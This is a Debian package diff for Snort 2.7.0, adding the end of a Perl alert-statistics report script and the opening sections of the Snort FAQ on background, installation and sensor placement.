+    print "</table><a href=\"#top\">Top</a><hr>\n";
+  } else {
+    section_header("Events from same host to same destination using same method\n", "asdm");
+    foreach $k ((sort { $s0{$b} <=> $s0{$a} } keys %s0)[0..$maxlines]) { 
+      @_ = split ",",$k;
+      printf(" %4d  %-${saddr_len}s  %-${daddr_len}s  %-20s\n",
+	     $s0{$k},$_[1],$_[0],$_[2]) if $s0{$k} > $th;
+    }
+  }
+}
+
+# to see the percentage and number of events from a host to a destination
+sub same_host_dest {
+  if ($opt_h) {
+    print "<h3><a name=\"same_hd\">Percentage and number of events from a host to a destination</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>%</th><th># of events</th><th>from</th><th>to</th></tr>\n";
+    foreach $k (sort { $s1{$b} <=> $s1{$a} } keys %s1) {
+      @_ = split ",",$k;
+      printf("<tr><td>%-2.2f</td><td>%-2d</td><td>%-20s</td><td>%-20s</td>
+              <td>\n",$s1{$k}/$total*100,$s1{$k},$_[0],$_[1]) if $s1{$k} > $th;
+    }
+    print "</table><a href=\"#top\">Top</a><hr>\n";
+  } else {
+    section_header("Percentage and number of events from a host to a destination\n", "pasd");  
+    foreach $k ((sort { $s1{$b} <=> $s1{$a} } keys %s1)[0..$maxlines]) {
+      @_ = split ",",$k;
+      printf("%5.2f  %4d  %-${saddr_len}s  %-${daddr_len}s\n",
+	     $s1{$k}/$total*100, $s1{$k},$_[0],$_[1]) if $s1{$k} > $th;
+    }
+  }
+}
+
+# to see how many events launched from one host
+sub same_host_sig {
+  if ($opt_h) {
+    print "<h3><a name=\"same_hm\">Percentage and number of events from one host to any with same method</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>%</th><th># of events</th><th>from</th><th>type</th></tr>\n";
+    foreach $k (sort { $s2{$b} <=> $s2{$a} } keys %s2) {
+      @_ = split ",",$k;
+      printf("<tr><td>%-2.2f</td><td>%-4d</td><td>%-20s</td><td>%-28s</td>
+             </tr>\n",$s2{$k}/$total*100,$s2{$k},$_[1],&printHref($_[0])) if $s2{$k} > $th;
+    }
+    print "</table><a href=\"#top\">Top</a><hr>\n";
+  } else { 
+    section_header("Percentage and number of events from one host to any with same method\n", "pasm");  
+    foreach $k ((sort { $s2{$b} <=> $s2{$a} } keys %s2)[0..$maxlines]) {
+      @_ = split ",",$k;
+      printf("%5.2f  %4d  %-${saddr_len}s  %-28s\n",
+	     $s2{$k}/$total*100, $s2{$k},$_[1],$_[0]) if $s2{$k} > $th;
+    }
+  }
+}
+
+# to see how many events received by one host (destination correlated)
+sub same_dest_sig_stat {
+  if ($opt_h) {
+    print "<h3><a name=\"same_d\">Percentage and number of events to one certain host</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>%</th><th># of events</th><th>to</th><th>type</th></tr>\n";
+    foreach $k (sort { $s3{$b} <=> $s3{$a} } keys %s3) {
+      @_ = split ",",$k;
+      printf("<tr><td>%-2.2f</td><td>%-4d</td><td>%-25s</td><td>%-28s</td><td>\n",$s3{$k}/$total*100,$s3{$k},$_[1],&printHref($_[0])) if $s3{$k} > $th;
+    }
+    print "</table><a href=\"#top\">Top</a><hr>\n";
+  } else {
+    section_header("Percentage and number of events to one certain host\n", "padm");
+    foreach $k ((sort { $s3{$b} <=> $s3{$a} } keys %s3)[0..$maxlines]) {
+      @_ = split ",",$k;
+      printf("%5.2f  %4d  %-${daddr_len}s  %-28s\n",
+	$s3{$k}/$total*100, $s3{$k}, $_[1], $_[0]) if $s3{$k} > $th;
+    }
+  }
+}
+
+# to see the popularity of one event method
+sub event_distribution {
+  if ($opt_h) {
+    print "<h3><a name=\"same_m\">Distribution of event methods</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>%</th><th># of events</th><th>methods</th></tr>\n";
+    foreach $k (sort { $s4{$b} <=> $s4{$a} } keys %s4) {
+      @p1 = split ":",$k;
+      if ($s4{$k} > $th) {
+        printf("<tr><td>%-2.2f</td><td><B>%-4d</B></td><td><B>%-32s</B></td>
+                </tr>\n", $s4{$k}/$total*100,$s4{$k},&printHref($p1[0])); 
+        foreach $k2 (sort { $s0{$b} <=> $s0{$a} } keys %s0) {
+          @p2 = split ",",$k2;
+          printf("<tr><td></td><td>%-4d</td><td>%-32s</td></tr>\n", $s0{$k2}, join(" -> ", $p2[1],$p2[0])) if $p1[0] eq $p2[2];
+        }
+      }
+    }
+    print "</table><a href=\"#top\">Top</a><hr>\n";
+  } else {
+    section_header("The distribution of event methods\n", "pam");
+    foreach $k ((sort { $s4{$b} <=> $s4{$a} } keys %s4)[0..$maxlines]) {
+      @p1 = split ":",$k;
+      if ($s4{$k} > $th) {
+        printf("%5.2f  %4d  %-32s\n", $s4{$k}/$total*100,$s4{$k},$p1[0]); 
+        foreach $k2 (sort { $s0{$b} <=> $s0{$a} } keys %s0) {
+          @p2 = split ",",$k2;
+          printf("\t\t %-4d  %-${saddr_len}s -> %-${daddr_len}s\n", $s0{$k2}, $p2[1],$p2[0]) if $p1[0] eq $p2[2];
+        }
+      }
+    }
+  }
+}
+
+# portscan (if enable -p switch)
+# Please use '-A fast' to generate the log, so portscan() can process it.
+# contributed by: Paul Bobby, <paul.bobby@lmco.com>
+#                 Jian-Da Li, <jdli@freebsd.csie.nctu.edu.tw>
+sub portscan {
+  my (%s7, %s8);
+  # to see how many times a host performs portscan
+  # used in portscan()
+  for $i (0 .. $#posres) {
+    $s7{"$posres[$i]->[0]"}++;
+  }
+  if ($opt_h) {
+    print "<h3><a name=\"portscan\">Portscans performed to/from HOME_NET</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>Scan Attempts</th><th>Source Address</th></tr>\n";
+    foreach $k (sort { $s7{$b} <=> $s7{$a} } keys %s7) {
+      print "<tr><td>$s7{$k}</td><td>$k</td></tr>\n" if $s7{$k} > $th;
+    }
+    print "</table><a href=\"#top\">Top</a><HR>\n";
+  } else {
+    section_header("Portscans performed to/from HOME_NET\n", "as");
+    foreach $k ((sort { $s7{$b} <=> $s7{$a} } keys %s7)[0..$maxlines]) {
+      printf(" %4d  %-${saddr_len}s\n", $s7{$k},$k) if $s7{$k} > $th;
+    }
+  }
+}
+
+# anomsensor (if enable -n switch)
+# This function process data generated by spp_anomsensor plug-in (SPADE)
+# By Yen-Ming Chen <chenym@alumni.cmu.edu>
+sub anomsensor {
+  my (%s7);
+  # to see how many times a host performs portscan
+  # used in anomsensor()
+  for $i (0 .. $#anores) {
+    $s7{"$anores[$i]->[1],$anores[$i]->[3],$anores[$i]->[4]"}++;
+  }
+  if ($opt_h) {
+    print "<h3><a name=\"spade\">Anomaly detected by SPADE</a></h3>\n";
+    print "<table>\n";
+    print "<tr><th>Scan Attempts</th><th>Source Address</th><th>Destination Address</th><th>Destination Ports</th></tr>\n";
+    foreach $k (sort { $s7{$b} <=> $s7{$a} } keys %s7) {
+      @_ = split(/,/,$k);
+      print "<tr><td>$s7{$k}</td><td>$_[0]</td><td>$_[1]</td><td>$_[2]</td></tr>\n" if $s7{$k} > $th;
+    }
+    print "</table><a href=\"#top\">Top</a><HR>\n";
+  } else {
+    section_header("Anomaly detected by SPADE\n", "asdo");
+    foreach $k ((sort { $s7{$b} <=> $s7{$a} } keys %s7)[0..$maxlines]) {
+      @_ = split(/,/,$k);
+      printf("   %-4d   %-${saddr_len}s %-${daddr_len}s\t%-6d\n", $s7{$k},$_[0],$_[1],$_[2]) if $s7{$k} > $th;
+    }
+  }
+}
+
+# print the footer (needed for html)
+sub print_footer {
+  if ($opt_h) { 
+    print "Generated by <a href=\"http://xanadu.incident.org/snort/\">snort_stat.pl</a>\n";
+    print "</body>\n</html>\n";
+  } 
+}
+
+#
+# resolve host name and cache it
+# contributed by: Angelos Karageorgiou, <angelos@stocktrade.gr>
+# edited by: $Author: ssmeenk $
+#
+sub resolve {
+  local ($mname, $miaddr, $mhost = shift);
+  $miaddr = inet_aton($mhost);
+  if (!$HOSTS{$mhost}) {
+    $mname ="";
+    eval {
+      local $SIG{ALRM} = sub {die "alarm\n" }; # NB \n required
+      alarm $timeout;
+      $mname = gethostbyaddr($miaddr, AF_INET);
+      alarm 0;
+    };
+    die if $@ && $@ ne "alarm\n"; # propagate errors
+    if ($mname =~ /^$/) {
+      $mname = $mhost;
+    }
+    $HOSTS{$mhost} = $mname;
+  }
+  return $HOSTS{$mhost};
+}
+
+# Use a title and a short code to write the section headers
+# This is used in place of a FORMAT as this allows variable column widths
+# contributed by: Ned Patterson, <jpatter@alum.mit.edu>
+#
+# Usage: section_header($title, $format);
+# 
+# Format: "pasdom"
+#  p	percentage of events
+#  a 	number of events
+#  s	source host
+#  d 	destination host
+#  o	home net
+#  m	method used
+#
+sub section_header {
+  my $linelength;
+  $title = shift; 
+  $_ = shift;
+  print("\n\n$title");
+  # constant for method length for now
+  $linelength = (/p/?7:0) +
+		(/a/?20:0) +
+		(/s/?$saddr_len:0) +
+		(/d/?$daddr_len+3:0) +
+		(/m/?20:0);
+  print( '=' x $linelength, "\n");
+  print("  %   ")                      if (s/^p([asdm]*)/$1/);
+  print(" # of  ")                     if (s/^a([sdm]*)/$1/);
+  printf("%-${saddr_len}s  ", "from")  if (s/^s([dm]*)/$1/);
+  printf("%-${daddr_len}s  ", "to"  )  if (s/^d(m*)/$1/);
+  printf("%-5s   ", "ports"  )         if (s/^o(m*)/$1/);
+  print("method")                      if (/^m/);
+  print("\n");
+  
+  print( '=' x $linelength, "\n");
+}
+
+# Put data $alert into matrix for further process
+# INPUT: $alert
+sub process_data() {
+  $self = shift;
+  # if the resolve switch is on
+  if ($opt_r) {
+    $self->{SADDR} = resolve($self->{SADDR});
+    unless ($opt_f) {
+      if ( length($self->{SADDR}) > $saddr_len ) {
+	$saddr_len = length($self->{SADDR});
+      }
+    }
+    $self->{DADDR} = resolve($self->{DADDR});
+    unless ($opt_f) {
+      if ( length($self->{DADDR}) > $daddr_len ) {
+	$daddr_len = length($self->{DADDR});
+      }
+    }
+  }
+  # put those data into a big matrix
+  if ($self->{PLUGIN} eq "anomsensor") {
+    push @anores , [$self->{THR},$self->{SADDR},$self->{SPORT},
+                    $self->{DADDR},$self->{DPORT}];
+    $opt_n = 1;
+  } elsif ($self->{PLUGIN} eq "portscan") {
+    push @posres , [$self->{SADDR}];
+    $opt_p = 1;
+  } elsif ($self->{TYPE} eq "sys" || $self->{TYPE} eq "alert" || 
+	   $self->{PLUGIN} eq "stream" || $self->{PLUGIN} eq "bo" ) {
+    $self->{SIG} =~ s/\:$//o;
+    push @result ,[$self->{MON},$self->{DAY},$self->{HOUR},$self->{MIN},
+                   $self->{SEC},$self->{HOST},$self->{SIG},$self->{SADDR},
+                   $self->{SPORT},$self->{DADDR},$self->{DPORT}];
+    $lastwassnort = 1;
+  } else {
+    print STDERR "Unknown alert type/plugin! $self->{TYPE}:$self->{PLUGIN} Skipped!\n";
+    return;
+  }
+  1;
+}
+
+# Turn IDS into the link to whitehats
+sub printHref
+{
+  my $type = $_[0];
+
+  if ($type =~ /\A\s*(IDS\d+)\//) 
+    {
+      return "<a href=\"http://www.whitehats.com/info/$1\" 
+            target=\"_blank\">$type</a>";
+    }
+  return $type;
+}
--- snort-2.7.0.orig/debian/my/FAQ.txt
+++ snort-2.7.0/debian/my/FAQ.txt
@@ -0,0 +1,3580 @@
+                                 The Snort FAQ
+
+                              The Snort Core Team
+
+Suggestions for enhancements of this document are always welcome. Please email
+them to erek@snort.org . If you have contributed to this document and don't
+see your name listed, email us. Many people have contributed to this FAQ:
+
+                                                                       
+
+   Marty Roesch     Fyodor Yarochkin       Dragos Ruiu           Jed Pickel
+
+    Max Vision       Michael Davis        Joe McAlerney          Joe Stewart
+
+    Erek Adams       Roman Danyliw      Christopher Cramer      Frank Knobbe
+
+     Phil Wood      Toby Kohlenberg      Ramin Alidousti         Jim Hankins
+
+Dennis Hollingworth   Paul Howell            Stef Mit            Ofir Arkin
+
+    Jason Haar        Blake Frantz   Lars Norman S�ndergaard   Brent Erickson
+
+   Brian Caswell    Scot Wiedenfeld        Chris Green           Jeff Wirth
+
+  Edin Dizdarevic    Detmar Liesen            Don Ng            Matt Kettler
+
+     Joe Lyman        Jim Burwell           Jed Haile         Andrew Hutchinson
+
+    Jeff Nathan     Alberto Gonzalez        Jason Haar                 
+
+                                                                       
+
+Dragos Ruiu: This version of this guide has been brought to you by the kind
+generosity and sponsorship of Wiley and Sons publishers whose support let
+myself, and other snort developers Jeff Nathan and Jed Haile take the time to
+work on this document and other tutorials for Snort due out in our upcoming
+book. (route++)
+
+
+Contents
+
+  * Contents
+  * 1 Background
+      + 1.1 How do you pronounce the names of some of these guys who work on
+        snort?
+      + 1.2 Is Fyodor Yarochkin the same Fyodor who wrote nmap?
+      + 1.3 Where do I get more help on snort?
+      + 1.4 Where can I get more reading and courses about IDS?
+      + 1.5 Does Snort handle IP defragmentation?
+      + 1.6 Does Snort perform TCP stream reassembly?
+      + 1.7 Does Snort perform stateful protocol analysis?
+      + 1.8 I'm on a switched network, can I still use Snort?
+      + 1.9 Is snort vulnerable to IDS noise generators like "Stick" and
+        "Snot"?
+      + 1.10 Can snort be evaded by the use of polymorphic mutators on
+        shellcode?
+      + 1.11 Does Snort log the full packets that it generates alerts?
+  * 2 Getting Started
+      + 2.1 Where do I find binary packages for BlueHat BSD-Linux-RT?
+      + 2.2 How do I run snort?
+      + 2.3 Where are my log files located? What are they named?
+      + 2.4 Why does snort complain about /var/log/snort?
+      + 2.5 Where's a good place to physically put a Snort sensor?
+      + 2.6 Libpcap complains about permissions problems, what's going on?
+      + 2.7 I've got RedHat and ....
+      + 2.8 Where do I get the latest version of libpcap?
+      + 2.9 Where do I get the latest version of Winpcap?
+      + 2.10 What version of Winpcap do I need?
+      + 2.11 Why does building snort complain about missing references?
+      + 2.12 Why does building snort fail with errors about yylex and lex_init?
+      + 2.13 I want to build a snort box. Will this <Insert list of hardware>
+        handle <this much> traffic?
+      + 2.14 What are CIDR netmasks?
+      + 2.15 What is the use of the "-r" switch to read tcpdump files?
+  * 3 Configuring Snort
+      + 3.1 How do I setup snort on a 'stealth' interface?
+      + 3.2 How do I setup a receive-only ethernet cable?
+      + 3.3 What are HOME_NET and EXTERNAL_NET?
+      + 3.4 My network spans multiple subnets. How do I define HOME_NET?
+      + 3.5 How do I set EXTERNAL_NET?
+      + 3.6 How can I run snort on multiple interfaces simultaneously.
+      + 3.7 My IP address is assigned dynamically to my interface, can I use
+        snort with it?
+      + 3.8 I have one network card and two aliases, how can I force snort to
+        "listen" on both addresses ?
+      + 3.9 How do I ignore traffic coming from a particular host or hosts?
+      + 3.10 How do I get Snort to log the packet payload as well as the
+        header?
+      + 3.11 Why are there no subdirectories under /var/log/snort for IP
+        addresses?
+      + 3.12 Why does the portscan plugin log "stealth" packets even though the
+        host is in the portscan-ignorehosts list?
+      + 3.13 What the heck is a ``Stealth scan''?
+      + 3.14 What the heck is a SYNFIN scan?
+      + 3.15 Which takes precedence, commandline or rule file ?
+      + 3.16 How does rule ordering work?
+      + 3.17 How do I configure stream4?
+      + 3.18 Where does one obtain new/modified rules? How do you merge them
+        in?
+      + 3.19 How do you get the latest snort via cvs?
+      + 3.20 How do I use a remote syslog machine?
+      + 3.21 How do I build this ACID thing?
+  * 4 Rules and Alerts
+      + 4.1 Errors loading rules files
+      + 4.2 Snort says "Rule IP addr ("1.1.1.1") didn't x-late, WTF?"
+      + 4.3 Snort is behind a firewall and awfully quiet...
+      + 4.4 Does snort see packets filtered by IPTables/IPChains/IPF/PF?
+      + 4.5 I'm getting large amounts of <some alerts type>. What should I do?
+        Where can I go to find out more about it?
+      + 4.6 What about all these false alarms?
+      + 4.7 What are all these ICMP files in subdirectories under /var/log/
+        snort?
+      + 4.8 Why does the program generate alerts on packets that have pass
+        rules?
+      + 4.9 What are all these "ICMP destination unreachable" alerts?
+      + 4.10 Why do many snort rules have the flags P (TCP PuSH) and A (TCP
+        ACK) set?
+      + 4.11 Snort says BACKDOOR SIGNATURE... does my machine have a Trojan?
+      + 4.12 What about "CGI Null Byte attacks"?
+      + 4.13 Why do certain alerts seem to have 'unknown' IPs in ACID?
+      + 4.14 Can priorities be assigned to Alerts using ACID?
+      + 4.15 What about 'SMB Name Wildcard' alerts?
+      + 4.16 What the heck is a SYNFIN scan?
+      + 4.17 I am getting too many "IIS Unicode attack detected" and/or "CGI
+        Null Byte attack detected" false positives. How can I turn this
+        detection off?
+      + 4.18 How do I test snort alerts and logging?
+      + 4.19 What is the difference between ``Alerting'' and ``Logging''?
+      + 4.20 Are rule keywords ORed or ANDed together?
+      + 4.21 Can snort trigger a rule by MAC addresses?
+      + 4.22 How can I deactivate a rule?
+      + 4.23 How can I define an address to be anything except some hosts?
+      + 4.24 After I add new rules or comment out rules how do I make snort
+        reload?
+      + 4.25 Where do the distance and within keywords work from to modify
+        content searches in rules ?
+      + 4.26 How can I specify a list of ports in a rule?
+      + 4.27 How can I protect web servers running on ports other than 80?
+      + 4.28 How do I turn off "spp:possible EVASIVE RST detection" alerts?
+      + 4.29 Is there a private SID number range so my rules don't conflict?
+      + 4.30 How long can Address Lists, Variables, or Rules be?
+  * 5 Getting Fancy
+      + 5.1 I hear people talking about ``Barnyard''. What's that?
+      + 5.2 How do I process those snort logs into reports?
+      + 5.3 How do I log to multiple databases or output plugins?
+      + 5.4 How can I test snort without having an ethernet card or a
+        connection to other computers?
+      + 5.5 How to start snort as a win32 service?
+      + 5.6 Is it possible with snort to add a ipfilter/ipfw rule to a
+        firewall?
+      + 5.7 What is the best way to use snort to block attack traffic?
+      + 5.8 Snort complains about the "react" keyword...
+      + 5.9 How do I get snort to e-mail me alerts?
+      + 5.10 How do I log a specific type of traffic and send alerts to syslog?
+      + 5.11 Is it possible to have snort call an external program when an
+        alert is raised?
+      + 5.12 How can I use snort to log http urls or smtp traffic ?
+      + 5.13 How can I move data from the snort db to snort_archive db like
+        ACID does?
+      + 5.14 What are some resources that I can use to understand more about
+        source addresses logged and where they are coming from?
+      + 5.15 How do I understand this traffic and do IDS alert analysis?
+      + 5.16 How can I examine logged packets in more detail?
+  * 6 Problems
+      + 6.1 I think I found a bug in snort. Now what?
+      + 6.2 SMB alerts aren't working, what's wrong?
+      + 6.3 Snort says "Garbage Packet with Null Pointer discarded!". Huh?
+      + 6.4 Snort says "Ran Out Of Space". Huh?
+      + 6.5 My ACID db connection times-out when performing long operations
+        (e.g. deleting a large number of alerts)
+      + 6.6 Why does ACID keep changing my sensor number and how do I keep it
+        consistent?
+      + 6.7 Why does snort report "Packet loss statistics are unavailable under
+        Linux"?
+      + 6.8 My /var/log/snort directory get very large.....
+      + 6.9 Why does the 'error deleting alert' message occur when attempting
+        to delete an alert with ACID?
+      + 6.10 ACID appears to be broken in Lynx
+      + 6.11 I am getting 'snort [pid] uses obsolete (PF_INET, SOCK_PACKET)'
+        warnings, what's wrong.
+      + 6.12 On HPUX I get device lan0 open: recv_ack: promisc_phys: Invalid
+        argument
+      + 6.13 I am getting snort dying with 'can not create file' error and I
+        have plenty of diskspace, what's wrong?
+      + 6.14 I am using Snort on Windows and receive an ``OpenPcap() error upon
+        startup: ERROR: OpenPcap() device open: Error opening adapter'' What's
+        wrong?
+      + 6.15 Snort is not logging to my database!
+      + 6.16 Portscans are not being logged to my database
+      + 6.17 Snort is not logging to syslog
+      + 6.18 I am still getting bombarded with spp_portscan messages even
+        though the IP that I am getting the portscan from is in my $DNS_SERVERS
+        var
+      + 6.19 Why chrooted snort die when I send it a SIGHUP?
+      + 6.20 My snort crashes, how do I restart it?
+      + 6.21 Why can't snort see one of the 10Mbps or 100Mbps traffic on my
+        autoswitch hub
+      + 6.22 Trying to install snort it says: "bad interpreter: No such file or
+        directory"
+      + 6.23 I'm not seeing any interfaces listed under Win32.
+      + 6.24 It's not working on Win32, how can I tell if my problem is snort
+        or WinPcap?
+      + 6.25 I just downloaded a new ruleset and now snort fails complaining
+        about the rules.
+      + 6.26 How do I speed up ACID and MySQL ?
+      + 6.27 Why am I seeing so many "SMTP RCPT TO overflow" alerts ?
+      + 6.28 I'm getting lots of *ICMP Ping Speedera*, is this bad?
+      + 6.29 Why are my unified alert times off by +/- N hours?
+      + 6.30 I try to start snort and it gives an error like "ERROR: Unable to
+        open rules file: /root/.snortrc or /root//root/.snortrc". What can I do
+        to fix this?
+  * 7 Development
+      + 7.1 How do you put snort in debug mode?
+  * 8 Miscellaneous
+      + 8.1 What's this about a snort drinking game?
+
+1 Background
+
+1.1 How do you pronounce the names of some of these guys who work on snort?
+
+For the record, 'Roesch' is pronounced like 'fresh' without the 'f'.
+Additionally, 'Ruiu' is pronounced like 'screw you' without the 'sc' (think of
+the sound your car makes when it doesn't start on a cold morning). Jed's last
+name is like "pick-el", not "pickle".
+
+1.2 Is Fyodor Yarochkin the same Fyodor who wrote nmap?
+
+Nope. fyodor@insecure.org is the author of nmap, and he uses the same pseudonym
+as other snort Fyodor's real surname. Yeah, messes up my mailbox too, but I
+think it's too late to change either of them :-).
+
+1.3 Where do I get more help on snort?
+
+Check the website, http://www.snort.org/ . Other good resources are are
+available in the source distribution, including the Snort Users Manual and the
+USAGE file. There is also a excellent mailing list, snort-users. You can find
+info on how to signup at http://www.snort.org/lists.html . You can also join #
+snort on irc.freenode.het.
+
+1.4 Where can I get more reading and courses about IDS?
+
+ All of the following offer courses on Intrusion Detection:
+
+  * SANS - http://www.sans.org
+  * Usenix - http://www.usenix.org/event/
+  * Networld/Interop - http://www.key3media.com/interop/
+  * CanSecWest - http://www.cansecwest.com
+
+There are some books about Snort that are about to be published:
+
++--------------------------------------------------------------------------------------------------------+
+|                                  |                           |                |              |         |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+| Snort: The Complete Guide        | Jeff Nathan, Dragos Ruiu, |   Wiley&Sons   |  0471455970  | 06/2003 |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+|      to Intrusion Detection      |         Jed Haile         |                |              |         |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+| Intrusion Detection with Snort:  |       Rafeeq Rehman       | Prentice Hall  | I0131407333  | 05/2003 |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+|      Advanced IDS Techniques     |                           |                |              |         |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+| Snort Intrusion Detection        |       Ryan Russell        | Syngress Media |  1931836744  | 02/2003 |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+| Snort Intrusion Detection        |        Jack Koziol        |   New Riders   |  157870281X  | 04/2003 |
+|----------------------------------+---------------------------+----------------+--------------+---------|
+|                                  |                           |                |              |         |
++--------------------------------------------------------------------------------------------------------+
+
+Many good books on Intrusion detection are available. Included are just a few:
+
++-------------------------------------------------------------------------------------+
+|                                                   |                    |            |
+|---------------------------------------------------+--------------------+------------|
+| Network Intrusion Detection An Analyst's Handbook | Stephen Northcutt  | 0735708681 |
+|---------------------------------------------------+--------------------+------------|
+| Intrusion Signatures and Analysis                 | Stephen Northcutt  | 0735710635 |
+|---------------------------------------------------+--------------------+------------|
+| TCP/IP Illustrated, Volume 1 The Protocols        | W. Richard Stevens | 0201633469 |
+|---------------------------------------------------+--------------------+------------|
+| Intrusion Detection                               | Rebecca G. Bace    | 1578701856 |
+|---------------------------------------------------+--------------------+------------|
+|                                                   |                    |            |
++-------------------------------------------------------------------------------------+
+
+1.5 Does Snort handle IP defragmentation?
+
+Yes, use "preprocessor frag2"
+
+1.6 Does Snort perform TCP stream reassembly?
+
+Yes, check out the stream4 preprocessor (see FAQ 3.17) that does stateful
+analysis session loggin, tcp reassembly and much much more.
+
+1.7 Does Snort perform stateful protocol analysis?
+
+Yes. (see FAQ 3.17) does this as well.
+
+1.8 I'm on a switched network, can I still use Snort?
+
+Short version:
+
+Being able to sniff on a switched network depends on what type of switch is
+being used. If the switch can mirror traffic, then set the switch to mirror all
+traffic to the snort machine's port.
+
+Extended version:
+
+There are several ways of deploying NIDS in switched environments which all
+have their pros and cons. Which method applies to your needs depends on what
+kind of segments you want to monitor and on your budget. Here are the most
+common methods:
+
+1.  Switch Mirror - if the switch can mirror traffic, then set the switch to
+    mirror all traffic to the snort machine's port.
+      + Advantages:
+
+        - Simple method, works with most decent switches.
+      + Drawbacks:
+
+        - if the switch is a fast ethernet switch, you can mirror 100Mbit/s
+        max. Since each switch port is capable of handling 100Mbit/s for each
+        direction, the bandwidth per port sums up to 200Mbit/s, so the switch
+        will not be able to mirror all packets at high network utilization.
+
+        - some switches suffer from performance degradation through port
+        mirroring.
+
+2.  Hub - inserting a hub in line, so you can simply tap all traffic. Works
+    fine for home networks, will lose data due to collisions at loads greater
+    than 50% - so a 10Mbps hub should be fine for T1/E1, DSL or cablemodem. If
+    you have a DS3 or greater, you should investigate taps.
+
+      + Advantages:
+
+        -Simple method
+
+        -No impact on switch performance and no config changes
+
+        -low cost
+      + Drawbacks:
+
+        -loss of full-duplex capabilities
+
+        -additional single point of failure
+
+        - collision loss at above 50% load levels
+
+3.  Network Taps - using network taps (e.g. Shomiti/Finisar^[*] and Netoptics^
+    [*]). You can find some rather good information in the papers by Jeff
+    Nathan. You can find the papers at http://www.snort.org/docs/#deploy .
+      + Advantages:
+
+        - no impact on switch performance and no special configuration
+
+        - stealth, i.e. sending data back to the switch is disabled
+
+        - no single point of failure, "fail-open" if the tap power fails
+      + Drawbacks:
+
+        - the datastream is split into TX and RX, so you need two NICs
+
+        - the two datastreams have to be recombined, i.e. merged, if you don't
+        want to lose the capability of doing stateful analysis. This can be
+        done by using channel bonding. Information can be found at http://
+        sourceforge.net/projects/bonding . - cost
+
+4.  Throw money at it - tapping all switch ports (using the forementioned
+    network taps) but only tapping all incoming packets (RX lines of the switch
+    ports), connecting those tap ports to a dedicated gigabit switch, which is
+    capable of mirroring up to ten RX taplines to one single dedicated gigabit
+    port, which is connected to a gigabit IDS machine.
+
+      + Advantages:
+
+        -maximum coverage (i.e. monitor all switchports)
+
+        -no performance degradation or re-configuration of the switch
+      + Drawbacks:
+
+        -mucho $$$
+
+1.9 Is snort vulnerable to IDS noise generators like "Stick" and "Snot"?
+
+It is now possible to defeat these kinds of noise generators with the (see FAQ
+3.17) preprocessor. Even without the stream4 preprocessor enabled, snort will
+weather the alert storm without falling over or losing a lot of alerts due to
+its highly optimized nature. Using tools that generate huge amounts of alerts
+will warn a good analyst that someone is trying to sneak by their defenses.
+
+1.10 Can snort be evaded by the use of polymorphic mutators on shellcode?
+
+Yes, and this could defeat some of the NOP sled detection signatures but the
+ordinary exploit rules should not be affected by this kind of obfuscation. The
+fnord preprocessor attempts to detect mutated or obfuscated long strings of NOP
+equivalent sleds.
+
+1.11 Does Snort log the full packets that it generates alerts?
+
+Yes, the packets should be in the directory that has the same IP address as the
+source host of the packet which generated the alert. If you are using binary
+logging, there will be a packet capture file (.pcap) in the logging directory
+instead.
+
+2 Getting Started
+
+2.1 Where do I find binary packages for BlueHat BSD-Linux-RT?
+
+Repeat after me:
+
+    wget http://www.snort.org/downloads/snort-stable.tgz
+
+    tar zxvf snort-stable.tgz
+
+    cd snort-stable
+
+    ./configure
+
+    make
+
+    su
+
+    make install
+
+    mkdir /var/log/snort
+
+    cd etc
+
+    vi snort.conf
+
+    snort -D -c snort.conf
+
+    exit
+
+...and if you want to use our binary package uninstaller :-):
+
+    cd snort-stable; make uninstall
+
+and if you must, you can find some binaries at http://www.snort.org/dl/binaries
+/ . You can also find Snort in most BSD ports trees.
+
+2.2 How do I run snort?
+
+Run Snort in sniffer mode and make sure it can see the packets.
+
+    snort -dv
+
+Then run it with the HOME_NET set appropriately for the network you're
+defending in your rules file. A default rules file comes with the snort
+distribution and is called "snort.conf" You can run this basic ruleset with the
+following command line:
+
+    snort -A full -c snort.conf
+
+If it's all set right, make sure the interface is in promiscuous mode by
+running the command from another window:
+
+    ifconfig -a
+
+The output from ifconfig should show if the interface is in promiscuous mode.
+If it's not, there should be a way to set it manually.
+
+Note that the default output mode (-A full) of snort should not be used except
+in very controlled environments. It is the slowest way to run snort and
+presents several hard to recover from problems with inode creation on
+filesystems.
+
+For people doing real IDS work, use something like (-A fast -b) to combine fast
+alert mode with tcpdump binary log files or use the unified format coupled with
+(see FAQ [*]).
+
+2.3 Where are my log files located? What are they named?
+
+The default location for logs is /var/log/snort. If snort is started with "-l
+<directory>", then the logs will be located in the directory specified.
+
+In the past, running Snort in daemon mode (-D) produced a file named
+"snort.alert". For consistency sake, this has been changed. Running Snort in
+both standard or daemon modes (-D) will produce a file named "alert".
+
+Note the log file naming convention changed between 1.8 and 1.9. That funny
+alphanumeric soup at the end of the new names is a UNIX timestamp. This helps
+avoid file conflicts.
+
+2.4 Why does snort complain about /var/log/snort?
+
+It requires this directory to log alerts to it. Try running the command:
+
+    mkdir -p /var/log/snort
+
+Make sure the logging directory is owned by the user snort is running as.
+
+2.5 Where's a good place to physically put a Snort sensor?
+
+This is going to be heavily influenced by your organizations policy, and what
+you want to detect. One way of looking at it is determining if you want to
+place it inside or outside your firewall. Placing an IDS outside of your
+firewall will allow you monitor all attacks directed at your network,
+regardless of whether or not they are stopped at the firewall. This almost
+certainly means that the IDS will pick up on more events than an IDS inside the
+firewall, and hence more logs will be generated. Place an IDS inside your
+firewall if you are only interested in monitoring traffic that your firewall
+let pass. If resources permit, it may be best to place one IDS outside and one
+IDS inside of your firewall. This way you can watch for everything directed at
+your network, and anything that made it's way in.
+
+ADDENDA AD NAUSEUM
+
+Note: So this one still gets a lot of traffic even though it's in the FAQ. Erek
+Adams has noted this comprehensive and authoritative discussion of this
+perpetual discussion item - mildly edited, also see faq question about switches
+hubs and taps -dr
+
+If your router/switch can do port mirroring then just connecting a network IDS
+to it would be fine. Else a hub could be another option. Most of network IDS
+can have a NIC that acts as a passive sniffer anyway.
+
+As to where to place the sensor. I would go for both, one to monitor the
